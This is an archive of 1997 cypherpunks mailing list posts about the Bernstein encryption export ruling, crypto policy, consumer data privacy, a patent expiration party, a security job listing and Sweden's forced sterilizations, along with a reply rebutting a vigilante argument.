Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <19970826193101.4989.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com>:

>>You stole from me.
>>*BANG*
>
>yep
>
>>You raped my sister
>>*BANG*
>
>yep
>
>As is the first two cases the "criminal" has violated my property &
>family. Such crimes are worthy of immediate death. You steal, you 
>assault
>or threaten me or my family you have committed suicide.
>
>It is a quite simple and effective philosophy: 
>
>"You fuck with me, my family, or my property you die. You leave me 
>alone
>and I leave you alone."
>
>Even someone like you can understand such a philosophy.

Well, I can't.  It's very confusing.  Are there judges in your
philosophy, or do you just decide for yourself who to shoot?

"You walked on my property."  BANG.

"Your music kept me awake all night."  BANG.

"I warned you to cut that tree down, and now it fell on my house."
BANG.


Or how about escalation:

"You raped my daughter"

"No way, she wanted it as much as I did"

"That's not what she tells me.  You die."  BANG.


"You shot my son"

"Bullshit, he had it coming after what he did to my daughter."

"Bullshit yourself."  BANG.


"You shot my pa"

"He shot my son"

"You're gonna die."  "I'm taking you with me then."  BANG.  BANG.

BANG.  BANG.  BANG.  BANG.  BANG.  BANG.  BANG.


You know, there's a reason people started using judges to help
settle disputes.  There's a reason the common law evolved with the
idea of proportionate response and restitution.  This kind of
shoot-everybody-I-think-harmed-me approach just doesn't work.
Nobody knows what someone else will consider harm worth shooting
over.  If somebody disagrees that a shooting was justified, they'll
shoot back, and feuds begin.

The current system stinks, but your idea is no better.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 27 Aug 1997 01:54:54 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Stewart Baker on Bernstein encryption decision (fwd)
In-Reply-To: <Pine.GSO.3.95.970826100258.28546F-100000@well.com>
Message-ID: <199708261737.MAA15155@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970826100258.28546F-100000@well.com>, on 08/26/97 
   at 10:03 AM, Declan McCullagh <declan@well.com> said:

>---------- Forwarded message ----------
>Date: Tue, 26 Aug 97 11:51:37 EST
>From: Stewart Baker <sbaker@mail.steptoe.com>
>To: fight-censorship-announce@vorlon.mit.edu, declan@well.com Subject:
>Re: FC: John Gilmore to cypherpunks on Bernstein decision

>     
>Declan--

>John is entitled to brag about the Bernstein decision, but getting the 
>Department of State to "RWA" all of its pending license applications is
>nothing  to brag about.  It cost a lot of companies a lot of money, time,
>and sales while they resubmitted the same applications to the Commerce
>Department.  

>I said at the time that State's advice to crypto exporters in those last
>few  weeks was "Get your tongue out of my mouth, I'm kissing you
>good-bye."  

>Perhaps the cause of this action was the lawsuit, perhaps it was spite at
>the  crypto exporters who lobbied for a change in jurisdiction, but
>whatever the  cause, it was not a good thing for anybody who is actually
>in the crypto  business.

>Stewart


Well I for one hope the Commerce Dept will deny all applications for
export. It is time that the computer industry combined forced and let the
piggies in DC know that they aren't going to take this shit anymore.

I am curious just who overseas they are selling watered down crypto to
anyhow. Is this information available via Foia? Perhaps we should start a
mailing campagne to these companies of the dangers of using weak crypto
and give them pointers to overseas companies that can provide them with
strong crypto solutions.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 27 Aug 1997 01:32:04 +0800
To: cypherpunks@toad.com
Subject: Snuffle
Message-ID: <1.5.4.32.19970826170943.00838498@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dan Bernstein's 1990 presentation of Snuffle on sci.crypt is
available at:

   ftp://coast.cs.purdue.edu/pub/tools/unix/snuffle.shar

Dan writes, "Don't you dare send this outside the US without
checking with the appropriate agencies."

It's a kick, Dan, to send it, without having to check, thanks to you
and team, at:

   http://jya.com/snuffle.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 27 Aug 1997 04:42:30 +0800
To: cypherpunks@cyberpass.net
Subject: (Fwd) U.S. Judge Rules Encryption Regulations Invalid
Message-ID: <199708262012.NAA04319@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



------- Forwarded Message Follows -------
From:          "Jim Broderick" <jfbroderick@hotmail.com>
To:            RWright@adnetsol.com
Subject:       
Date:          Tue, 26 Aug 1997 12:38:52 PDT


Tuesday August 26 9:39 AM EDT 

U.S. Judge Rules Encryption Regulations Invalid

SAN FRANCISCO - U.S. government regulations on the export of
encryption software are unconstitutional, a federal judge ruled. 

U.S. District Judge Marilyn Hall Patel said licensing requirements for
the export of encryption software and related devices were an
unconstitutional prior restraint on First Amendment free speech
rights. 

Patel also issued a permanent injunction barring the government from
enforcing the regulations against plaintiff Daniel Bernstein or anyone
who sought to use, discuss or publish his encryption program. 

Encryption involves running a readable message though a computer
program that translates the message according to an equation or
algorithm into unreadable "ciphertext." 

"By the very terms of the encryption regulations, the most common
expressive activities of scholars -- teaching a class, publishing
their ideas, speaking at conferences, or writing to colleagues over
the Internet -- are subject to a prior restraint by the export
controls ...," Patel wrote in a 32-page ruling released in San
Francisco. 

Patel said that, having found the regulations to be invalid, she could
have issued a nationwide injunction barring their enforcement. But she
said she had kept the injunction as narrow as possible pending appeal
because "the legal questions at issue are novel, complex and of public
importance." 

The ruling is important because the computer industry sees use of
encryption technology across country borders as essential for
advancing electronic commerce and private communications over the
Internet. 

The government has previously cited national security concerns over
the export of encryption programs. 

As a graduate student, Bernstein developed an encryption algorithm he
called "Snuffle." In 1992, Bernstein asked the State Department
whether Snuffle was controlled by export regulations then in force
which classified cryptographic software as "defense articles." 

The government told him his program was subject to licensing by the
Department of State prior to export. 

Alleging that he was not free to teach, publish or discuss with other
scientists his theories on cryptography embodied in the Snuffle
program, Berstein sued the State Department in 1995, challenging the
regulations on free speech grounds. 

Bernstein is now a research assistant professor of mathematics, 
statistics and computer science at the University of Illinois
at Chicago. 

Patel ruled last December that the old regulations limiting the export
of encryption software violated the First Amendment.

But late last year, President Bill Clinton issued an executive order
transferring jurisdiction over the export of nonmilitary encryption
products to the Commerce Department. 

Patel's latest ruling was on Bernstein's amended lawsuit which
included the new regulations and new defendants. 

Patel said that her finding that encryption source code was speech
protected by the First Amendment did not remove encryption technology
from all government regulation. 

Cindy Cohn, a lawyer for Bernstein, called the ruling a "very big
victory" for free speech advocates. "This brings us a step closer to
people being able to freely publish ideas about encryption," she said.


A U.S. Justice Department lawyer who defended the regulations could
not immediately be reached for comment. The government could appeal
the ruling. 

Copyright, Reuters Ltd. All rights reserved 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 27 Aug 1997 05:19:38 +0800
To: cypherpunks@toad.com
Subject: CYPHERPUNKS PARTY -- invite to party in DC on September 6
Message-ID: <Pine.GSO.3.95.970826135348.2235D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



You are cordially invited to a DC cypherpunk working meeting and
patent expiration party on September 6.

On Saturday, September 6, the patent on the Diffie-Hellman public
key cryptography system expires. Along with the Merkle-Hellman
patent (which expires on October 6), this patent is key to the
future of public key crypto. Now programmers can write strong
encryption software without worrying about patent licensing.

But the expiration of the patents doesn't guarantee the future of
strong cryptography. Proposed laws could restrict its use. So the
party has two portions:

-- 5:30 pm: a DCCP working party and potluck supper. Topics include
discussion of the patents and regulation of cryptography. Guest
speakers will discuss legislation in Congress and the Bernstein case.
A speaker from the administration will provide a regulator's
perspective. (Please contribute to the potluck dinner!) 

-- 8:00 pm: a post-meeting party to celebrate the expiration of the
patents. (Please bring snack foods and beverages/drinks...)

To RSVP, and for directions and details, e-mail Declan at
declan@well.com with DCCP-DH in your Subject: line. The party will
be held in Adams Morgan in Washington, DC.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 27 Aug 1997 00:06:35 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: H/W v S/W encryption Constitutional challenge --The Next Generation
In-Reply-To: <1.5.4.32.19970826140833.00860dd0@pop.pipeline.com>
Message-ID: <199708261557.JAA17065@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin

    IM[NSH]O, we need a test case that _differentiates_ between 
    hardware encryption engines and _software_for_encryption (not to be 
    confused with firmware).  Patel rendered an important decision, but
    she refrained from establishing national jurisdiction; our only hope
    in this instance is further citations as to relevance.

    If it can be established, by extension of Patel's ruling that 
    software is _always_ protected under the First Amendment (despite 
    our government's well established track record of trying to kill 
    free speech, or at least ignore it), the mere fact that it runs on a
    hardware engine --any engine, should be irrelevant.  Carrying the
    argument to its absurd extreme, should we ban gasoline since it 
    powers automobiles?  --or even ban the publication of information on
    refueling an automobile?  when confronted by fools {Clinton, et al],
    one must emphasize the absurdity, even inanity, of their
    foolishness.  The whole argument must be expressed in terms which
    Judge Marilyn Patel found endearing.

    write the encryption software in Java which is [generally] a
    platform independent and portable human readable language. Perl, for
    instance the 3 line RSA algorithm for DC, is not exactly readable.

    Why not construct an SBC with extended memory, small hard disk, an 
    O/S which supports Java, and I/O means  --then, apply for an export
    permit for the hardware, the Java encryption/decryption software, 
    and the combined unit?

    If the burrowcrats at Commerce respond in typical fashion, file in
    SF Federal Court; if they procrastinate and obfuscate to avoid the
    inevitable, file in SF to pry it out of their grubby hands and get
    on with it.

    The criminals in Congress always pass the right way in public, then 
    hose us over with manager's marks and all that falderol in
    reconciliation, justifying their position that they have given the
    Congress a choice [between good and evil? --no, between worse and
    worst].  

    Therefore, let's present the Court with the two [or three] part
    challenge --and make sure the hardware, the combined hardware and 
    software, and the software alone, are distinct claims so that even 
    if the justices choose to classify the hardware/software "package"
    as a munition, the standalone software will fall under Patel's
    ruling (more like guidance).  The Feds will look pretty stupid
    ruling a general purpose Java enabled SBC black box a munition....

    let's go get the bastards using their own techniques. TAKE THE WAR 
    HOME TO THEM, on their own turf!

    until Bernstein, all of our actions have been essentially defensive
    (Junger non-withstanding).  Issues must be reduced to the lowest
    common denominator --let's teach that class of misfits, the ship of 
    fools.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

on or about 970826:1008 
    John Young <jya@pipeline.com> expostulated:

+Declan wrote:
+>I think that's about right. One of the important questions was how broadly
+>Patel would rule, whether her ruling would apply just to Bernstein &
+>associates or whether she would enjoin the government from enforcing
+>ITAR/EAR at all.
+>
+>Unfortunately, she chose the former. But look on the bright side: her
+>narrow decision may be less likely to be reversed, no?

+Does this not shift now to Peter Junger's suit: same issues, broader
+challenge, same opposing arguments? Did Patel rule narrowly in
+Bernstein to set the stage for the broader case in the works?

+BTW, is there a suit being readied to follow Peter's? Karn II? PRZ 6.0?

+What say, Peter, Lee, Cindy, Phil, Phil, Anthony et al?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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Evfe40TrCRSSe+ZBfduuSlBxslCTAWtTcdYn+uc+JelyDJ0kysZKge7OUG5HEnHO
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d6sA4IhN8as=
=CwjL
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 27 Aug 1997 05:17:43 +0800
To: cypherpunks@toad.com
Subject: Consumer privacy debate heats up
Message-ID: <v031107aeb028eadddf52@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Tue, 26 Aug 1997 15:43:17 -0400
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Subject: Consumer privacy debate heats up
Date: Tue, 26 Aug 1997 15:39:19 -0400
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2153
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: chuck yerkes <Chuck@Yerkes.com>
Forwarded-by: David HM Spector <spector@zeitgeist.com>

Consumer privacy debate heats up
	-- Chicago Tribune

WASHINGTON -- An Internet entrepreneur, Ram Avrahami, says he believes he
has the legal rights to his name and other personal information, such as
his shopping habits, credit records and medical history.

But the companies that profit from collecting personal information on
Avrahami and millions of other Americans see matters differently. Since
the information is collected legally and resides in their databases, they
say they have reasonable claim to it.

Those divergent views are colliding. While the companies stand their
ground, Avrahami hopes to help start a grass-roots effort this fall to
demand that the data-gatherers obtain permission before buying and selling
information about an individual.

More than just seeking a say in whether and how personal data is marketed,
the suburban Virginia resident and his allies want to receive royalties.
They wonder why only the companies should make money off the brisk
commerce in their personal data.

"They have to face reality," says Avrahami, 34. "They cannot sell people's
names without explicit permission. It's a very simple concept."

The debate is taking on new urgency as the information economy grows, and
creating its own backlash, as giant America Online learned earlier this
summer.  AOL was compelled to beat a hasty, embarrassing retreat after
users rebelled at the company's plan to sell their telephone numbers to
marketers.

The omnipresence of computers and the Internet have made it ever easier
for businesses and government agencies to obtain, link and sell data that
often reveal intimate information about millions of Americans.

This has increased public anxiety about the uses such databases, which
teem with information many people would be reluctant to tell even their
closest friends: medical conditions revealed by tracking the
pharmaceuticals purchased, mortgage borrowing obtained from real-estate
records, household incomes lifted from product-warranty cards
conscientiously filled out by unwitting consumers.

The data-ownership question is complicated by the law's seeming
ambivalence.  While most states have laws forbidding the appropriation of
one's name for someone else's commercial benefit, those laws have mainly
been applied to celebrities, not the selling for profit of the ordinary
person's name and personal information by database companies.

But is that right? Not according to Anne Wells Branscomb. In her 1994 book
"Who Owns Information? From Privacy to Public Access," the communications
and computer lawyer, wrote: "Our names and addresses and personal
transactions are valuable information assets worthy of recognition that
we have property rights in them.

"Unless we assert these rights, we will lose them. If such information
has economic value, we should receive something of value in return for
its use by others."

There is clearly a developing view that agrees with her. Besides Avrahami
and his allies, who say they are forming a new organization to receive,
on behalf of their members, payment for the use of names or take legal
action, others are challenging the data gatherers.

Earlier this summer, for instance, the American Civil Liberties Union,
launched its "Take Back Your Data" campaign. Besides attempting to educate
Americans on the issue, the ACLU intends to push for sweeping federal
legislation to re-establish individuals' control over use of their
personal information.

The ACLU sees this as an important personal privacy issue, especially
regarding medical data. "You provide information to your health care
provider solely for the purpose of treating you and making you better,"
said Donald Haines, a legislative counsel on privacy issues at the ACLU.

"Suddenly all of these people end up acting like they have a right to your
data," including law enforcement, research, insurance and public health
officials. "In our view, that's nothing less than embezzlement of your
data," Haines said.

In Congress, Sens. Dianne Feinstein, D-Calif., and Charles Grassley,
R-Iowa, are co-sponsoring a bill that would hinder the marketing of
personal information by making it illegal for companies to sell Social
Security numbers without first getting permission.

Meanwhile, Congress also triggered a Federal Trade Commission study of
database practices, such as the gathering of personal information without
an individual's permission. The FTC is expected to issue its conclusions
by year's end.

At FTC hearings in June, John Ford, vice president for privacy and
external affairs for Equifax Inc., the large consumer and business credit
reporting service, summed up both sides of the argument. "Ownership of
data. There's some question about people saying this is information that
belongs to me, and therefore you shouldn't be using it."

"Others would argue that it's ... not your information, it is information
about you.  So ownership becomes a kind of red herring issue for control
of the data, maybe even remuneration for deciding to let your data be
used," he said.

In an interview, he later said his company has no official position on
who owns personal information. And he repeated a warning he made at the
hearings against overreaction by government regulators, saying "we ought
to be working with tweezers rather than a vise grip," in dealing with
whatever problems arise when database companies err.

Martin Abrams, vice president for Experian Inc., formerly TRW, another
large credit-reporting company, said there is ample legal basis for the
companies to be able to control the information they gather.

"You don't have a choice about being in a consumer data base.
... The integrity of the data base would impacted if consumers
could selectively opt to be part of it or not to be part of it," he said.

"At the same time, we have a long-established norm that when it comes to
the marketing use of information, consumers should have the full ability
to opt out of that marketing use. And responsible organizations should
respect that consumer choice." Abrams added.

Ford and Abrams views infuriate Bob Bulmash, president and founder of
Private Citizen Inc. of Naperville, Ill., an anti-telemarketing group.
Bulmash intends to join Avrahami in creating a new group called The Named
that would assert its members ownership rights to their names and personal
information.

"Why don't we just have Mr. Ford give us his income, how many children he
has ... how much he paid for his car, what's his mortgage, his Social
Security number?  May I sell that information? It's just information about
him. That's an absurd position he's putting forward."

According to Leonard Rubin, a Chicago lawyer and expert on privacy issues,
the debate gets convoluted because the laws governing it are "snarled."

"As far as personal data is concerned -- what toothpaste did I use this
morning to brush my teeth? You don't know that. Nobody knows that," Rubin
said.

"But once I make that public, I have forfeited my rights to it, unless I
make it public under certain conditions." And courts have tended to agree
that consumers who engage in commercial transactions with companies have
essentially gone public.

In any event, Avrahami says he has property rights to his name under laws
in many states that prevent someone from commercially benefiting by using
a person's name or likeness without his permission or payment.

Avrahami was the losing party in a Virginia lawsuit last year.  He had
sued U.S.  News & World Report, accusing the publication of violating
state law by selling his name to Smithsonian magazine. But the judge ruled
that Avrahami hadn't proved his name had value and had hurt his case by
using a variant of his name to detect who sold his personal information.

Still, Avrahami is undeterred. "If someone in Illinois tries to use
Michael Jordan's name for commercial benefit, Michael Jordan would be able
to assert his right (to his name.) It already has been applied to
celebrities. Now it just needs to be applied to common folks like you and
me," he said.

"There's a difference in the value but not in the right. It doesn't matter
if it's $10,000 or ten cents."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Wed, 27 Aug 1997 08:11:35 +0800
To: Duncan Frissell <cypherpunks@toad.com>
Subject: Re: FCPUNX:Jurisdiction Shopping
Message-ID: <199708262356.QAA27668@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:06 AM 8/26/97 -0400, Duncan Frissell wrote:
> Another popular reason is privacy in general.  US domestic accounts can be 
> examined by any federal, state, or local government employee who can sign his 
> name to a subpeona.  Any lawyer can also examine account records in the 
> course of discovery proceedings.  There are some limits to the above powers 
> but not very substantial limits.  For all we know, FINCEN has a nice Win32-
> based point and click browser that can tiptoe through every bank and 
> brokerage account in America.  If they don't have one yet, I'm sure they are 
> trying to get one.
>
> If domestic lawyers or governments want the same sort of access to accounts 
> in other jurisdictions, they have to spend many thousands of dollars and 
> months or years of personnel time.  Cuts down on their capabilities.

This is true to a greater or lesser extent of almost any foriegn
jurisdiction.  Even both countries are hostile to financial privacy
and have cosy relationships with each other, it is still a lot more
work for investigators in one country to get information from 
another.


 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 27 Aug 1997 06:02:03 +0800
To: cypherpunks@toad.com
Subject: Openings for INFOSEC Analyst and Engineers
Message-ID: <v031107b2b028f4717dc9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: silence.secnet.com: majordom set sender to
owner-security-jobs@secnet.com using -f
From: "Meryweather, Rod" <Rod.Meryweather@wang.com>
To: "'security-jobs@secnet.com'" <security-jobs@secnet.com>
Subject: Openings for INFOSEC Analyst and Engineers
Date: Mon, 25 Aug 1997 13:43:14 -0400
X-Priority: 3
MIME-Version: 1.0
Sender: owner-security-jobs@secnet.com
Precedence: bulk

WANG GOVERNMENT SERVICES
SECURITY SERVICES
POSITION OVERVIEW AND SUMMARY

Organization Overview
The Wang GS Security Services organization is a descendant from the
Honeywell Information Systems group that has been focused on developing
High Assurance computing solutions for the US Government since the late
1970's.  Honeywell was the first vendor to have a system evaluated by
the NSA National Computer Security Center (NCSC) against the Orange Book
(a document that defines levels of trust that can be reached by
operating systems) at the A1 level - the highest - in 1984.  Our XTS 300
product is a direct descendent of the A1 SCOMP platform, and is
currently evaluated at the B3 level of trust.

The Security Services (SS) organization focuses on development and
deployment of secure solutions.   Product activities are contained in a
group focused on the XTS 300 operating system and a trusted guard
development framework product (the SAGE).  The rest of the organization
is focused on implementation of task-specific solutions.  These
currently include:

DLA Security Assessment:  Wang currently supports the security planning,
assessment and accreditation activities with the DLA and the Defense
MegaCenter in Dayton, Ohio.

The DMS/DII Guard:  This is a multi-year development effort that will
result in a XTS 300-based X.400/X.500 guard with strong user
authentication and encryption support (FORTEZZA).

The State Department Guard:  This is a new project that will implement a
proprietary (State-compliant) XTS 300-based telegram network guard that
works with identification of unclassified telegrams.

The Command and Control Guard:  The C2G effort involves the evolution of
an existing XTS 300-based Government-owned Guard application that is
deployed world-wide.

The FBI:  Wang currently has developed and deployed multiple IBM
communications guards for the FBI, and continues to evolve and enhance
the functional capabilities of these XTS 300-based systems.

The IRS:  This effort does not involve the XTS 300.  Rather, Wang is
responsible for the EDI telecommunications and security infrastructure
of the IRS Tax Collection system, based on an NCR commercial Unix
platform.

General Technical Requirements
Excellent C and Unix skills (we do not code in C++ except for the IRS
project).  Strong structured design and documentation skills.  Linux OS
on Pentium workstation.  Heavy emphasis on one of the following areas:
Computer Security, Unix Kernel (device drivers, printer drivers, API, OS
construction), Communications (TCP/IP, X.400, X.500, SNMP), Encryption
(PCMCIA or software-based), GUI development (X), Testing.  MUST be
clearable to TS.  MUST have a BS degree or equivalent experience.  MUST
be a self-starter and quick learner.   Competitive compensation and
benefits, casual dress code, technical organization.  Herndon location
as of August 1, 1997.  See
http://www.wangfed.com/products/ssso/homepage.html          for product
details, http://wang.com            for information about Wang.

Specific Positions

INFOSEC Accredidation & Risk Assessment

Candidate will be a member of the DLA Security Architecture team, and
will be responsible for taking a lead role in the security assessment,
certification, accreditation, and post accreditation of  large
multifaceted LAN's/WAN's conducting  EC/EDI communications on a global
bases. Required 4-12 years experience with trusted system solutions and
architectures. Strong back ground in National Computer Security Center
"Rainbow Series" and Information Systems Security (INFOSEC) policies,
procedures and documentation experience.


Accreditation Support/Risk Assessment

Candidate will be a member of the DMS/DII Guard Development and
Deployment team, and will be responsible for taking a lead role in the
assessment and justification of the assurance of the Guard architecture.
Required 6-12 years experience with trusted solutions and architectures,
X.400/X.500, accreditation and deployment issues.  Strong documentation
and communications (verbal) experience.


Senior OS Developer (1)

Candidate will be a member of the XTS 300 OS development staff, and
should have considerable exposure (8-15 years) to the construction and
enhancement of a Unix OS.  Activities include API development and
enhancement, device driver implementation (e.g., printer, SCSI,
"console", PCMCIA devices, ethernet (802.3 + 100Mb or ATM)), application
porting (e.g., X), bug fixes, and new platform porting (from one Pentium
mother board to the next).  Orange Book security a BIG plus.

Junior OS Developer (2)

Candidate will be a member of the XTS 300 OS development staff, and
should be very comfortable with heavy structured C and Unix (OS
construction, release building from source, etc.)  Linux experience a
big plus.  2-5 years experience with heavy C, Unix, and at least one of
the following:  GUI development, application porting on Unix,
communications (TCP/IP, X.4/500, SNMP),  systems installation and debug,
heavy scripts, heavy testing. Orange Book security a BIG plus.

XTS 300 GUI Developer

Candidate will initially be assigned to the State Department Guard task,
and will be responsible for the specification, design, development,
implementation, testing and documentation of the man-machine interfaces
for this Guard (Main-in-the-Middle review capability, dirty word list
management, report generation, etc.).  This will be developed with a
subset of X (Motif-based).  3-5 years experience in X, C, Unix,
documentation, design.

All salaries are dependent on experience and are negotiable.

Open Date : 8/18/97			Close Date: 1/31/98

Point of Contact:

	Rodney Meryweather			Ph:        (703)
827-3818
	Sr. Security Analyst			Fax:      (703) 827-3161
	Wang Government Services		Email:
Rod.Meryweather@wang.com
	540 Huntmar Dr.
	Herndon VA. 22070

Sr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a lead role in the development of
Guard applications.  Must have 8-15 years heavy C, Unix, Comm (TCP/IP,
X.4/500), structured design, documentation, development, implementation,
testing, debug and support.  Orange Book Security and Guard/Firewall
design a big plus.

Jr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a supporting role in the development
of Guard applications.  Must have 2-5 years heavy C, Unix, with a focus
in one or more of the following: Comm (TCP/IP, X.4/500), structured
design, documentation, development, implementation, testing, debug and
support.  Orange Book Security and Guard/Firewall design a big plus.

All salaries are dependent on experience and are negotiable.

Open Date : 8/18/97			Close Date: 1/31/98

Point of Contact:

	Rodney Meryweather			Ph:        (703)
827-3818
	Sr. Security Analyst			Fax:      (703) 827-3161
	Wang Government Services		Email:
Rod.Meryweather@wang.com
	540 Huntmar Dr.
	Herndon VA. 22070

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 27 Aug 1997 09:14:06 +0800
To: cypherpunks@toad.com
Subject: Sweden's Social Democrats Sterilize the Inferior
Message-ID: <Pine.GSO.3.95.970826175338.3323A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>From: David Boaz <dboaz@cato.org>
>Subject: Social Democrats Sterilize the Inferior
>
>Surprisingly, the revelations about 40 years of forced sterilizations by the
>Social Democratic governments in Sweden generated only small stories in the
>New York Times and the Washington Post.  I'm sure they would have been
>equally uninterested in revelations about forced sterilization in, say,
>Thatcher's Britain.  Be sure to read to the last line of the story where at
>last the AP pins it directly on the Social Democrats' ideas.
>
>
>
>By JIM HEINTZ
>.c The Associated Press
>
>STOCKHOLM, Sweden (Aug. 25) - They were found to be ''inferior,'' flawed by
>bad eyesight, mental retardation or ''undesirable'' racial characteristics.
>To prevent this genetic heritage from being passed on, they were sterilized -
>sometimes involuntarily.
>
>Sweden had as many as 60,000 of its own citizens sterilized between 1935 and
>1976. Adults and children were singled out by doctors, school authorities or
>other officials and were pressured to consent to the procedures.
>
>This sterilization program bore chilling similarities to Nazi ideas of racial
>superiority - and media reports on it now are provoking sober
>self-examination.
>
>The program stemmed from the pursuit of eugenics, a once-popular movement to
>improve humanity by controlling genetic factors in reproduction.
>
>Though Sweden's sterilization program was a matter of record, it received
>little public attention, ignored in schoolbooks and hardly mentioned in
>reference works. A recent series by the prestigious newspaper Dagens Nyheter,
>however, has stirred national debate.
>
>Especially shocking to many Swedes is the fact that the law allowing the
>sterilizations wasn't overturned until 1976, three decades after the Nazis'
>human engineering policies collapsed in the rubble of the Third Reich.
>
>The sterilizations targeted a wide range of people: those of mixed race;
>unmarried mothers with several children; people judged to be habitual
>criminals; even a boy considered ''sexually precocious.''
>
>''Grounds for recommending sterilization: unmistakable Gypsy features,
>psychopathy, vagabond life,'' reads one document cited by Dagens Nyheter.
>
>Maria Nordin, 72, told the newspaper she had been sterilized in 1943 because
>she was regarded as mentally inferior.
>
>''One day, the (school) superintendent said I should come into his room to
>sign some papers. I understood what this was about so I ran into a toilet and
>sat there and cried for a long time for myself,'' she said.
>
>Sweden, with its well-developed welfare state and long-standing progressive
>stances on social issues, is not accustomed to being on the defensive on
>ethical issues.
>
>''This is a frightening picture that now is being shown to the Swedish
>people,'' Alf Svensson, chairman of the opposition Christian Democratic
>Party, said in a letter to Prime Minister Goeran Persson.
>
>Social Minister Margot Wallstroem says she is considering whether to
>compensate people who were forcibly sterilized. That would require
>overturning current law that says the victims can't get compensation because
>the sterilizations were lawful when performed.
>
>Nordin applied for compensation last year but her request was turned down by
>Wallstroem, who now says she feels ashamed over the matter.
>
>''I will take up the matter for discussion with the government. It is the
>least I can do,'' the Cabinet minister said.
>
>The Dagens Nyheter report has hit Swedes at a time when they were already
>examining some painful history from World War II. The government, under
>increasing international pressure, is looking into whether property looted by
>the Nazis from Jews in other countries ended up in Sweden.
>
>The issue of forced sterilization stands to be even more troublesome, because
>it was conducted under the ostensibly benign gaze of the Social Democrats -
>that party that built Sweden's welfare state and proclaimed it a paragon of
>enlightened government.
>
>''The Social Democrats are implicated in a collective guilt,'' said Social
>Minister Wallstroem, herself a member of the party.
>
>The sterilization programs can be traced to turn-of-the-century enthusiasm
>for eugenics.
>
>The movement had adherents in many countries, but ''Sweden was the first in
>the world to grant this pseudoscience official recognition,'' Dagens Nyheter
>wrote in describing how Sweden established an Institute of Racial Biology in
>1921.
>
>Not only did eugenics foresee an improved human race, it also was appealing
>to Social Democrats, who were beginning to see that Sweden's welfare state
>would be costly and wanted to limit the number of people who would have to be
>supported, the newspaper said.
>
> AP-NY-08-25-97 1903EDT
>
>
>





